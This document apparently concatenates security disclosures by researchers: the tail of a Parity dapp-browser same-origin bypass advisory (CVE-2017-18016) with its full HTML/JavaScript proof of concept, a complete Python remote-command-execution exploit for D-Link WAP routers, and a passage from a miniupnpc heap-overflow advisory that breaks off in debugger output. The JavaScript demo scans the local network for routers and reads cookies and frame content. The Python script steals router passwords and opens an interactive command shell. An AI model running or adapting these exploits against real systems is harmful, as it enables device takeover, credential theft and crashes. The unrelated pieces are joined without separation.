5. Issue 2: enter an url into the textbox and hit `Spawn SOP Iframe`. A new iframe will appear on the bottom of the page containing the proxied website. Note that the calling website has full script/dom/xhr access to the proxied target. You can also use the "Display Cookies" button from Issue 1 to show cookies that have been merged into the origin by loading the proxied iframe.
6. Demo 2: Just a PoC to find local-lan web interfaces (e.g. your gateways web interface) and potentially mess with its configuration (e.g. router with default password on your lan being reconfigured by malicious dapp that excploits the token reuse issue 2)
//tested with latest chrome
Notes
-----
* Commit [3] (first in 1.7.0)
* Does not fix Issue #1 - sites are generally put into same origin due to proxy
* Fixes Issue #2 - Token Reuse
* Parity now added a note that browsing websites with their browser is insecure

* Issue #1 is not yet fixed as the cookie of instagram.com is still shown.
* Parity v1.7.12 added a note.
Timeline
--------
31.05.2017 - first contact, forwarded to parity
17.06.2017 - provided PoC
19.06.2017 - response: not critical issue due to internal browser being a dapp browser and not a generic web browser
20.06.2017 - provided more information
21.06.2017 - response: not critical issue due to internal browser being a dapp browser and not a generic web browser
21.06.2017 - response: follow-up - looking into means to lock the token to a website
22.06.2017 - fix ready [3]
10.01.2018 - public disclosure
References
----------
[1] https://parity.io/
[2] https://github.com/paritytech/parity/blame/e8b418ca03866fd952d456830b30e9225c81035a/dapps/src/web.rs
[3] https://github.com/paritytech/parity/commit/53609f703e2f1af76441344ac3b72811c726a215
[4] https://tintinweb.github.io/pub/pocs/cve-2017-18016/
Contact
-------
https://github.com/tintinweb
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="cve-2017-18016 paritytech parity same origin policy bypass sop">
<meta name="author" content="github.com/tintinweb">
<!--<link rel="icon" href="favicon.ico">-->
<title>Ethereum | Parity SOP Vulnerability</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
<script type="text/javascript">
;(function(){
// This would be the place to edit if you want a different
// Base32 implementation
var alphabet = '0123456789ABCDEFGHJKMNPQRSTVWXYZ'.toLowerCase()
var alias={}
//var alias = { o:0, i:1, l:1, s:5 }
/**
* Build a lookup table and memoize it
*
* Return an object that maps a character to its
* byte value.
*/
var lookup = function() {
var table = {}
// Invert 'alphabet'
for (var i = 0; i < alphabet.length; i++) {
table[alphabet[i]] = i
}
// Splice in 'alias'
for (var key in alias) {
if (!alias.hasOwnProperty(key)) continue
table[key] = table['' + alias[key]]
}
lookup = function() { return table }
return table
}
/**
* A streaming encoder
*
* var encoder = new base32.Encoder()
* var output1 = encoder.update(input1)
* var output2 = encoder.update(input2)
* var lastoutput = encode.update(lastinput, true)
*/
function Encoder() {
var skip = 0 // how many bits we will skip from the first byte
var bits = 0 // 5 high bits, carry from one byte to the next
this.output = ''
// Read one byte of input
// Should not really be used except by "update"
this.readByte = function(byte) {
// coerce the byte to an int
if (typeof byte == 'string') byte = byte.charCodeAt(0)
if (skip < 0) { // we have a carry from the previous byte
bits |= (byte >> (-skip))
} else { // no carry
bits = (byte << skip) & 248
}
if (skip > 3) {
// not enough data to produce a character, get us another one
skip -= 8
return 1
}
if (skip < 4) {
// produce a character
this.output += alphabet[bits >> 3]
skip += 5
}
return 0
}
// Flush any remaining bits left in the stream
this.finish = function(check) {
var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
this.output = ''
return output
}
}
/**
* Process additional input
*
* input: string of bytes to convert
* flush: boolean, should we flush any trailing bits left
* in the stream
* returns: a string of characters representing 'input' in base32
*/
Encoder.prototype.update = function(input, flush) {
for (var i = 0; i < input.length; ) {
i += this.readByte(input[i])
}
// consume all output
var output = this.output
this.output = ''
if (flush) {
output += this.finish()
}
return output
}
// Functions analogously to Encoder
function Decoder() {
var skip = 0 // how many bits we have from the previous character
var byte = 0 // current byte we're producing
this.output = ''
// Consume a character from the stream, store
// the output in this.output. As before, better
// to use update().
this.readChar = function(char) {
if (typeof char != 'string'){
if (typeof char == 'number') {
char = String.fromCharCode(char)
}
}
char = char.toLowerCase()
var val = lookup()[char]
if (typeof val == 'undefined') {
// character does not exist in our lookup table
return // skip silently. An alternative would be:
// throw Error('Could not find character "' + char + '" in lookup table.')
}
val <<= 3 // move to the high bits
byte |= val >>> skip
skip += 5
if (skip >= 8) {
// we have enough to preduce output
this.output += String.fromCharCode(byte)
skip -= 8
if (skip > 0) byte = (val << (5 - skip)) & 255
else byte = 0
}
}
this.finish = function(check) {
var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
this.output = ''
return output
}
}
Decoder.prototype.update = function(input, flush) {
for (var i = 0; i < input.length; i++) {
this.readChar(input[i])
}
var output = this.output
this.output = ''
if (flush) {
output += this.finish()
}
return output
}
/** Convenience functions
*
* These are the ones to use if you just have a string and
* want to convert it without dealing with streams and whatnot.
*/
// String of data goes in, Base32-encoded string comes out.
function encode(input) {
var encoder = new Encoder()
var output = encoder.update(input, true)
return output
}
// Base32-encoded string goes in, decoded data comes out.
function decode(input) {
var decoder = new Decoder()
var output = decoder.update(input, true)
return output
}
/**
* sha1 functions wrap the hash function from Node.js
*
* Several ways to use this:
*
* var hash = base32.sha1('Hello World')
* base32.sha1(process.stdin, function (err, data) {
* if (err) return console.log("Something went wrong: " + err.message)
* console.log("Your SHA1: " + data)
* }
* base32.sha1.file('/my/file/path', console.log)
*/
var crypto, fs
function sha1(input, cb) {
if (typeof crypto == 'undefined') crypto = require('crypto')
var hash = crypto.createHash('sha1')
hash.digest = (function(digest) {
return function() {
return encode(digest.call(this, 'binary'))
}
})(hash.digest)
if (cb) { // streaming
if (typeof input == 'string' || Buffer.isBuffer(input)) {
try {
return cb(null, sha1(input))
} catch (err) {
return cb(err, null)
}
}
if (!typeof input.on == 'function') return cb({ message: "Not a stream!" })
input.on('data', function(chunk) { hash.update(chunk) })
input.on('end', function() { cb(null, hash.digest()) })
return
}
// non-streaming
if (input) {
return hash.update(input).digest()
}
return hash
}
sha1.file = function(filename, cb) {
if (filename == '-') {
process.stdin.resume()
return sha1(process.stdin, cb)
}
if (typeof fs == 'undefined') fs = require('fs')
return fs.stat(filename, function(err, stats) {
if (err) return cb(err, null)
if (stats.isDirectory()) return cb({ dir: true, message: "Is a directory" })
return sha1(require('fs').createReadStream(filename), cb)
})
}
var base32 = {
Decoder: Decoder,
Encoder: Encoder,
encode: encode,
decode: decode,
sha1: sha1
}
if (typeof window !== 'undefined') {
// we're in a browser - OMG!
window.base32 = base32
}
if (typeof module !== 'undefined' && module.exports) {
// nodejs/browserify
module.exports = base32
}
})();
</script>
<script type="text/javascript">
function new_parity_proxy_url(destination){
//get current webproxy token (we'll just be reusing this one)
var url_decoded = base32.decode(document.location.search.match(/web\/(.*)$/)[1]);
var token = url_decoded.split("+")[0];
console.log(document.location);
console.log(url_decoded);
console.log(token);
console.log(token + "+" + destination);
var new_url = document.location.origin + "/web/" + base32.encode(token + "+" + destination).toUpperCase();
console.log(new_url);
return new_url;
}
function sop_iframe_inject (destination){
d = document.createElement("div");
d.id=destination;
d.style="border-style: dashed";
document.body.appendChild(d);
d_data = document.createElement("div");
i = document.createElement("iframe");
i.sandbox = "allow-same-origin allow-forms allow-pointer-lock allow-scripts allow-popups allow-modals";
i.style = "resize: both; overflow: auto;"
d.appendChild(i);
d.appendChild(d_data);
var proxied_url = new_parity_proxy_url(destination);
i.onload = function() {
//fix the document removing the injection script
var doc = i.contentWindow.document;
var doc_html = doc.documentElement.outerHTML;
doc_html = doc_html.replace("<script src=\"\/parity-utils\/inject.js\"><\/script>","").replace("<\/head><body style=\"background-color: #FFFFFF;\">","");
doc.open();
doc.write(doc_html);
doc.close();
i.contentDocument.head.innerHTML = "<title>INJECTED</title>";
// just do anything
i.contentDocument.body.prepend("!--> Injected from parent frame!");
d_data.innerHTML = "<br><br>";
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have full control over iframe:'+destination+'</div>';
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames Cookie value: <pre>' + i.contentDocument.cookie + '<pre></div>';
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames dom title: <pre>' + i.contentDocument.head.title + '<pre></div>';
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] Child Frames window.location.href: <pre>' + i.contentWindow.location.href + '<pre></div>';
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have prepended a body element :<b>!--> Injected from parent frame!</b></div>';
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] we have removed inject.js from the target frame:'+destination+'<br></div>';
d_data.innerHTML +='<div class="alert alert-warning" role="alert">[x] source (via xhr): <textarea>'+getUrl(proxied_url).responseText+'</textarea></div>';
};
//navigate to url (poor mans location setter :p)
i.contentWindow.location.replace(proxied_url);
}
function get_lan_ip(cb){
window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; //compatibility for firefox and chrome
var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};
pc.createDataChannel(""); //create a bogus data channel
pc.createOffer(pc.setLocalDescription.bind(pc), noop); // create offer and set local description
pc.onicecandidate = function(ice){ //listen for candidate events
if(!ice || !ice.candidate || !ice.candidate.candidate) return;
var myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
cb(myIP);
pc.onicecandidate = noop;
};
}
function getUrl(url){
var xhr = new XMLHttpRequest;
xhr.open('GET', url, false); //synchronous.
xhr.send();
return xhr;
};
function find_local_web_interfaces(){
get_lan_ip(function(local_ip){
/** find routers on local lan segment
try .1 and .254 first, otherwise bruteforce
**/
var local_ip_netpart = local_ip.split(".").slice(0,3).join(".")
console.log("your local ip: "+local_ip);
console.log("testing lan segment: " + local_ip_netpart);
function get_candidate_ips(base){
var ret = new Array();
ret.push(1);
ret.push(254);
for(var i=2; i<254; i++){
ret.push(i);
}
return ret;
}
var candidate_ips = get_candidate_ips();
for (i=0;i<candidate_ips.length;i++){
//synchronously. avoid dos'ing parity prx
var probe_ip = local_ip_netpart + "." + candidate_ips[i];
console.log("probing "+probe_ip);
var parity_probe_url = new_parity_proxy_url("http://"+probe_ip);
if (getUrl(parity_probe_url).status<400){
console.log("HIT! - "+probe_ip+" is available! " +parity_probe_url);
sop_iframe_inject(parity_probe_url);
if (document.getElementById("stop_on_first_hit").checked) return;
}
}
});
}
</script>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-inverse navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">Parity Vulnerability</a>
</div>
<div id="navbar" class="navbar-collapse collapse">
<ul class="nav navbar-nav">
<li class="active"><a href="#">Home</a></li>
<li><a href="#contact">Contact</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav>
<div class="container theme-showcase" role="main">
<!-- Main jumbotron for a primary marketing message or call to action -->
<div class="jumbotron">
<h1>Parity SOP Bypass</h1>
<p>Same-Origin Policy Bypass in Parity's Dapp Browser</p>
</div>
<div class="well">
<p>
<b>Disclaimer</b>
<pre>/* This program is free software. It comes without any warranty, to
* the extent permitted by applicable law. You can redistribute it
* and/or modify it under the terms of the GNU General Public License,
* Version 2, as published by the Free Software Foundation. See
* github.com/tintinweb/pub/tree/master/pocs/cve-2017-18016/
* for more details. */ </pre></p>
</div>
<p>
<button type="button" class="btn btn-primary" onclick="alert('Ok, thanks ;)')">I agree!</button>
</p>
<div class="jumbotron">
<h1 class="display-4">Issue #1</h1>
<p class="lead">Same-Origin Policy (SOP) bypass vulnerability due to parity proxying websites</p>
<hr class="my-4">
<div>
Every webpage you browse to with parity's built-in browser (http://127.0.0.1:8180/#/web) is proxied via http://127.0.0.1:8080.
For example, when you browse to
<ul>
<li>http://google.com's the websites origin changes to 127.0.0.1:8080.</li>
<li>Navigating to http://oststrom.com changes the origin to 127.0.0.1:8080 as it is proxied via parity.</li>
</ul>
Both websites therefore share the same origin rendering a core feature of modern web browsers - the <b>Same-Origin Policy</b> - ineffective.
A website is same-origin if <b>proto, host and port</b> (iexplore does not check port) match.
Bypassing the SOP gives full control over XHR and DOM of child nodes (including iframe source) with the same origin.
</div>
<div class="alert alert-warning" role="alert">
<span class="badge badge-warning">Warning</span> This means, as there's only <u>one origin for all websites</u>, non domain restricted cookies are effectively shared with all websites.
</div>
<b><span class="badge badge-primary">DEMO #1</span> Cookies shared with other websites</b>
<ul>
<li>1) using parity's built-in browser, navigate to any website to set a cookie (e.g. http://google.com)</li>
<li>2) reload this this PoC (https://tintinweb.github.io/pub/pocs/cve-2017-18016/) </li>
<li>3) hit the <b>Display Cookies</b> button</li>
</ul>
<p class="lead">
<textarea id="txtdomcookie"></textarea><br>
<a class="btn btn-primary btn-lg" role="button" onclick="document.getElementById('txtdomcookie').value=document.cookie">Display Cookies</a>
</p>
</div>
<div class="jumbotron">
<h1 class="display-4">Issue #2</h1>
<p class="lead">Parity WebProxy Token Reuse vulnerability</p>
<hr class="my-4">
<div>When navigating to a website with the built-in parity webbrowser a webproxy request token is requested and sent along an encoded request for an url. For example, navigating parity to http://oststrom.com the url gets turned into a proxy url like http://127.0.0.1:8080/web/8X4Q4EBJ71SM2CK6E5AQ6YBNB4NPGX3ME0X2YBVFEDT76X3JDXPJWRVFDM of the form http://127.0.0.1:8080/web/[base32_encode(token+url)].</div>
<br>
<div class="alert alert-warning" role="alert">
<span class="badge badge-warning">Warning</span> When navigating to http://oststrom.com the website can detect that it has been proxied by checking the location.href.
It can further base32 decode and extract the web-proxy token and simply reuse it as the token is not bound to any specifiy request url or hostname allowing any website to create proxy urls and navigate to any other website.
</div>
<div class="alert alert-info" role="alert">
<span class="badge badge-info">Info</span> The parity webbrowser does not allow a proxied website to change the top frames location or open new windows (iframe sandbox).
</div>
<div class="alert alert-warning" role="alert">
<span class="badge badge-warning">Warning</span> However, it allows to perform XHR or embed iframes with script access to proxied locations of arbitrary websites. This allows one website to control any other website since they're both same origin (Issue 1).
</div>
<div class="alert alert-info" role="alert">
<span class="badge badge-info">Info</span> The controlling website has full scripting access to sub-iframes potentially allowing for service enumeration attacks or simulate user interaction.
</div>
<br><br>
<b><span class="badge badge-primary">DEMO #2</span> Full control of arbitrary websites via token reuse and SOP bypass</b>
<ul>
<li>1) enter url into the textbox</li>
<li>2) hit <b>Spawn SOP Iframe</b></li>
</ul>
<b>Notes:</b>
<ul>
<li><span class="badge badge-light">Note</span> the current page can modify/inject arbitrary DOM/scripting into the iframe, access cookies (only the ones stored for 127.0.0.1, potentially from prevs sessions with parity), manipulate change and reload the websites content (e.g. removing parity's inject.js), get the source via XHR</li>
<li><span class="badge badge-light">Note</span> some websites may not load due to js errors. However, since the website has full control it is likely the calling website can fix any js errors occuring in the subframe.</li>
<li><span class="badge badge-light">Note</span> Untested but likely possible: Prepare a transaction to send off ether via parity/web3 api or xhr, open an iframe or perform requests to directly authorize (may require unlock secret) or redress the UI to clickjack the authorization or perform other actions messing with the users account</li>
</ul>
<br>
<p class="lead">
<a class="btn btn-primary btn-lg" role="button" onclick="sop_iframe_inject(document.getElementById('dst').value)">Spawn SOP Iframe</a>
<input type=text value="http://myetherwallet.com" id="dst">
</p>
<br><br>
<b><span class="badge badge-primary">DEMO #3</span> (Chrome) get local lan ip and service scan for web-enabled devices on the LAN to mess with them</b><br>
e.g. search for local router interfaces with default passwords and reconfigure it to perform DNS based redirection attacks (mitm) or similar
<ul>
<li>1) click 'Find LAN-Local WebInterfaces' to scan for devices listening on http port 80 within your LAN (IP .1 to .254)</li>
<li>2) an iframe with full control will be created for each device found on the lan</li>
<li>Note: might require some fixups for the iframe conted to be loaded completely due to parity webproxy messing with header scripts or websites unable to be loaded via iframes. XHR should work though and CSRF tokens can be read from XHR requests or iframe dom (if dom based). See javascript console for debug.</li>
</ul>
<p class="lead">
<a class="btn btn-primary btn-lg" role="button" onclick="find_local_web_interfaces()">Find LAN-Local WebInterfaces</a>
</p>
<input type="checkbox" value="stop_on_first_hit" name="stop_on_first_hit" id="stop_on_first_hit"><label for="stop_on_first_hit">Stop on first device</label>
</div>
<div class="page-header">
<h1 id="contact">Contact</h1>
</div>
<div>
<a href="https://github.com/tintinweb">//tintinweb</a>
</div>
</div> <!-- /container -->
</body>
</html>
#!/usr/bin/python
# Exploit Title: D-Link WAP 615/645/815 < 1.03 service.cgi RCE
# Exploit Author: Cr0n1c
# Vendor Homepage: us.dlink.com
# Software Link: https://github.com/Cr0n1c/dlink_shell_poc/blob/master/dlink_auth_rce
# Version: 1.03
# Tested on: D-Link 815 v1.03
import argparse
import httplib
import random
import re
import requests
import string
import urllib2
DLINK_REGEX = ['Product Page : <a href="http://support.dlink.com" target="_blank">(.*?)<',
'<div class="modelname">(.*?)</div>',
'<div class="pp">Product Page : (.*?)<a href="javascript:check_is_modified">'
]
def dlink_detection():
try:
r = requests.get(URL, timeout=10.00)
except requests.exceptions.ConnectionError:
print "Error: Failed to connect to " + URL
return False
if r.status_code != 200:
print "Error: " + URL + " returned status code " + str(r.status_code)
return False
for rex in DLINK_REGEX:
if re.search(rex, r.text):
res = re.findall(rex, r.text)[0]
return res
print "Warning: Unable to detect device for " + URL
return "Unknown Device"
def create_session():
post_content = {"REPORT_METHOD": "xml",
"ACTION": "login_plaintext",
"USER": "admin",
"PASSWD": PASSWORD,
"CAPTCHA": ""
}
try:
r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/session.cgi"
return False
if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False
if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
print "Error: Did not get a success code"
return False
return True
def parse_results(result):
print result[100:]
return result
def send_post(command, print_res=True):
post_content = "EVENT=CHECKFW%26" + command + "%26"
method = "POST"
if URL.lower().startswith("https"):
handler = urllib2.HTTPSHandler()
else:
handler = urllib2.HTTPHandler()
opener = urllib2.build_opener(handler)
request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
request.get_method = lambda: method
try:
connection = opener.open(request)
except urllib2.HTTPError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
except urllib2.HTTPSError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
if not connection.code == 200:
print "Error: Recieved status code " + str(connection.code)
return False
attempts = 0
while attempts < 5:
try:
data = connection.read()
except httplib.IncompleteRead:
attempts += 1
else:
break
if attempts == 5:
print "Error: Chunking failed %d times, bailing." %attempts
return False
if print_res:
return parse_results(data)
else:
return data
def start_shell():
print "+" + "-" * 80 + "+"
print "| Welcome to D-Link Shell" + (" " * 56) + "|"
print "+" + "-" * 80 + "+"
print "| This is a limited shell that exploits piss poor programming. I created this |"
print "| to give you a comfort zone and to emulate a real shell environment. You will |"
print "| be limited to basic busybox commands. Good luck and happy hunting. |"
print "|" + (" " * 80) + "|"
print "| To quit type 'gtfo'" + (" " * 60) + "|"
print "+" + "-" * 80 + "+\n\n"
cmd = ""
while True:
cmd = raw_input(ROUTER_TYPE + "# ").strip()
if cmd.lower() == "gtfo":
break
send_post(cmd)
def query_getcfg(param):
post_data = {"SERVICES": param}
try:
r = requests.post(URL + "/getcfg.php", data=post_data, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/getcfg.php"
return False
if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False
if re.search("<message>Not authorized</message>", r.text):
print "Error: Not vulnerable"
return False
return r.text
def attempt_password_find():
# Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
data = query_getcfg("DEVICE.ACCOUNT")
if not data:
return False
res = re.findall("<password>(.*?)</password>", data)
if len(res) > 0 and res != "=OoXxGgYy=":
return res[0]
# Did not find it in first attempt
data = query_getcfg("WIFI")
if not data:
return False
res = re.findall("<key>(.*?)</key>", data)
if len(res) > 0:
return res[0]
# All attempts failed, just going to return and wish best of luck!
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="D-Link 615/815 Service.cgi RCE")
parser.add_argument("-p", "--password", dest="password", action="store", default=None,
help="Password for the router. If not supplied then will use blank password.")
parser.add_argument("-u", "--url", dest="url", action="store", required=True,
help="[Required] URL for router (i.e. http://10.1.1.1:8080)")
parser.add_argument("-x", "--attempt-exploit", dest="attempt_exploit", action="store_true", default=False,
help="If flag is set, will attempt CWE-200. If that fails, then will attempt to discover "
"wifi password and use it.")
args = parser.parse_args()
HEADER = {"Cookie": "uid=" + "".join(random.choice(string.letters) for _ in range(10)),
"Host": "localhost",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
URL = args.url.lower().strip()
if not URL.startswith("http"):
URL = "http://" + URL
ROUTER_TYPE = dlink_detection()
if not ROUTER_TYPE:
print "EXITING . . ."
exit()
if args.attempt_exploit and args.password is None:
res = attempt_password_find()
if res:
PASSWORD = res
else:
PASSWORD = ""
print "[+] Switching password to: " + PASSWORD
elif args.password:
PASSWORD = args.password
else:
PASSWORD = ""
if not create_session():
print "EXITING . . ."
exit()
if len(send_post("ls", False)) == 0:
print "Appears this device [%s] is not vulnerable. EXITING . . ." %ROUTER_TYPE
exit()
start_shell()
VuNote
======
Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2017-8798
Version: 0.6
Date: May 1st, 2017
Tag: miniupnpc getHTTPResponse chunked encoding integer signedness error
Overview
--------
Name: miniupnpc
Vendor: Thomas Bernard
References: * http://miniupnp.free.fr/ [1]
Version: v2.0 [2]
Latest Version: v2.0.20170421 [2][3]
Other Versions: >= v1.4.20101221 [2] (released 21/12/2010; ~6 years ago)
Platform(s): cross
Technology: c
Vuln Classes: CWE-196, CWE-190
Origin: remote
Min. Privs.: ---
CVE: CVE-2017-8798
Description
---------
quote website [1]
>UPnP IGD client lightweight library and UPnP IGD daemon
>The UPnP protocol is supported by most home adsl/cable routers and Microsoft Windows 2K/XP. The aim of the MiniUPnP project is to bring a free software solution to support the "Internet Gateway Device" part of the protocol. The MediaServer/MediaRenderer UPnP protocol (DLNA) is also becoming very popular but here we are talking about IGD. ReadyMedia (formely known as MiniDLNA) is a UPnP Media Server using some UPnP code from MiniUPnPd.
miniupnp is part of many applications and embedded network devices
* P2P File Sharing software - e.g. qBittorrent
* Network Device Firmware
* Blockchain clients - e.g. EthereumCPP, bitcoind and forked coins
Summary
-------
*TL;DR - one-click crash miniupnpc based applications on your network*
#### Integer signedness error in miniupnpc allows remote attackers to
cause a denial of service condition via specially crafted HTTP response
An integer signedness error was found in miniupnp's `miniwget` allowing
an unauthenticated remote entity typically located on the
local network segment to trigger a heap corruption or an access violation
in miniupnp's http response parser when processing a specially crafted
chunked-encoded response to a request for the xml root description url.
To exploit this vulnerability, an attacker only has to provide a
chunked-encode HTTP response with a negative chunk length to upnp
clients requesting a resource on the attackers webserver. Upnp clients
can easily be instructed to request resources on the attackers webserver
by answering SSDP discovery request or by issueing SSDP service
notifications (low complexity, integral part of the protocol).
* remote, unauthenticated, `ACCESS_VIOLATION_READ` and heap corruption
* (confirmed) DoS; (unconfirmed) could also lead to RCE under certain
circumstances (multi-threaded?)
see attached PoC
see proposed patch
Details
-------
The vulnerable component is a HTTP file download method called
`miniwget` (precisely `getHTTPResponse`) that fails to properly handle
invalid chunked-encoded HTTP responses. The root cause is a bounds check
that mistakenly casts an unsigned attacker-provided chunksize to signed
int leading to an incorrect decision on the destination heap buffer size
when copying data from the server response to an internal buffer. The
attacker controls both the size of the internal buffer as well as the
number of bytes to copy. In order for this attack to succeed, the number
of bytes to copy must be negative.
attacker controls:
* `int content_length`
* `unsigned int chunksize`
* `bytestocopy` if `(int) chunksize` is negative (or at least < `n-i` ~ 1900 bytes)
* length of `content_buf` if `bytestocopy` is negative
In the end, the attacker controls
* `realloc(content_buf, content_length)`
* `memcpy(content_buf+x, http_response, chunksize)`
client (miniupnpc) server (poc.py)
| |
| |
| SSDP: Discovery - M-SEARCH |
1. | --------------------------------------> |
| |
| SSDP: Reply - Location Header |
2. | <-------------------------------------- |
| |
| SCPD: GET (Location Header/xxxx.xml) |
3. | --------------------------------------> |
| |
| SCPD: HTTP chunked-encoded reply |
4. | <-------------------------------------- |
| |
1. application performs SSDP discovery via M-SEARCH (multicast, local network segment)
2. poc.py responds with the url to the xml root description requesting the application to navigate to the malicious webserver.
3. application requests xml root description url (taken from reply to M-SEARCH, Location Header) on malicious webserver (poc.py)
4. poc.py responds with a specially crafted http response triggering the heap overwrite in miniupnp
#### Source
`miniwget.c:236` [4]
*Note:* Inline annotations are prefixed with //#!
* A) 1. to 3. is the parsing of the chunksize
* B) 4. to 5. integer signedness error
* C) 6. integer wrapping
* D) 7. to 9. destination buffer size
* E) 10. heap overwrite with size in bytestocopy
```c
/* content */
if(chunked) //#! 1) transfer-encoding: chunked
{
int i = 0;
while(i < n)
{
if(chunksize == 0)
{
/* reading chunk size */
if(chunksize_buf_index == 0) {
/* skipping any leading CR LF */
if(i<n && buf[i] == '\r') i++;
if(i<n && buf[i] == '\n') i++;
}
while(i<n && isxdigit(buf[i]) //#! 2) copy hexchars to chunksize_buf
&& chunksize_buf_index < (sizeof(chunksize_buf)-1))
{
chunksize_buf[chunksize_buf_index++] = buf[i];
chunksize_buf[chunksize_buf_index] = '\0';
i++;
}
while(i<n && buf[i] != '\r' && buf[i] != '\n')
i++; /* discarding chunk-extension */
if(i<n && buf[i] == '\r') i++;
if(i<n && buf[i] == '\n') {
unsigned int j;
for(j = 0; j < chunksize_buf_index; j++) { //#! 3) hexint chunksize = atoi(chunksize_buf)
if(chunksize_buf[j] >= '0'
&& chunksize_buf[j] <= '9')
chunksize = (chunksize << 4) + (chunksize_buf[j] - '0');
else
chunksize = (chunksize << 4) + ((chunksize_buf[j] | 32) - 'a' + 10);
}
chunksize_buf[0] = '\0';
chunksize_buf_index = 0;
i++;
} else {
/* not finished to get chunksize */
continue;
}
#ifdef DEBUG
printf("chunksize = %u (%x)\n", chunksize, chunksize);
#endif
if(chunksize == 0)
{
#ifdef DEBUG
printf("end of HTTP content - %d %d\n", i, n);
/*printf("'%.*s'\n", n-i, buf+i);*/
#endif
goto end_of_stream;
}
}
//#! 4)
//#! goal: a) bytestocopy becomes negative due to chunksize being negative
//#! b) content_length defines destination buffer size
//#! c) overwrite destination heap buffer content_buf[content_length] with bytestocopy bytes from request
//#! memcopy(content_buf[content_length], req_body, (unsigned)bytestocopy)
//#!
bytestocopy = ((int)chunksize < (n - i))?chunksize:(unsigned int)(n - i); //#! 5) boom! - bytestocopy becomes chunksize since chunksize is negative (e.g. -1)
if((content_buf_used + bytestocopy) > content_buf_len) //#! 6) true, since bytestocopy is negative, wraps unsigned content_buf_used
{
char * tmp;
if(content_length >= (int)(content_buf_used + bytestocopy)) { //#! 7) content_length is attacker controlled.
content_buf_len = content_length; //#! 8) we want content_length to define our dst buffer size (e.g. 9000)
} else { //#! if we dont hit this, content_buf_len would likely be ~2k
content_buf_len = content_buf_used + bytestocopy;
}
tmp = realloc(content_buf, content_buf_len); //#! 9) realloc to content_length bytes (e.g. 9000)
if(tmp == NULL) {
/* memory allocation error */
free(content_buf);
free(header_buf);
*size = -1;
return NULL;
}
content_buf = tmp;
}
memcpy(content_buf + content_buf_used, buf + i, bytestocopy); //#! 10) boom heap overwrite with bytesttocopy bytes (e.g. (unsigned)-1) to content_length (e.g. 9000) sized buffer
content_buf_used += bytestocopy; //#! (also an out of bounds ready since it has not been checked if buf holds enough bytes)
i += bytestocopy;
chunksize -= bytestocopy;
}
}
```
#### Taint Graph
basically all `miniwget*` and `UPNP_*` methods.
* getHTTPResponse (vulnerable)
* miniwget3
* miniwget2
* miniwget
* miniwget_getaddr
* UPNP_GetIGDFromUrl
* UPNP_GetValidIGD
* UPnP_selectigd
* UPNP_Get*
* UPNP_Check*
* UPNP_Delete*
* UPNP_Update*
* UPNP_Add*
#### Scenarios
The PoC can be configured for three scenarios:
##### 1) SCENARIO_CRASH_LARGE_MEMCPY
Similar to 3) attempts to smash the heap but likely fails with an
`ACCESS_VIOLATION_READ` when trying to read from an non-accessible
memory region.
(gdb) up
#1 0x000000000040862c in getHTTPResponse (s=s@entry=3, size=size@entry=0x7fffffffd77c,
status_code=status_code@entry=0x0) at miniwget.c:305
305 memcpy(content_buf + content_buf_used, buf + i, bytestocopy);
(gdb) i lo
i = 30
buf = "f\r\n<xml>BOOM</xml>\r\n80000000\r\n", 'A' <repeats 2018 times>
n = 1954
endofheaders = 94
chunked = 1
content_length = 9041
chunksize = 2147483648
bytestocopy = 2147483648 //#! <--- nr of bytes to copy from buf
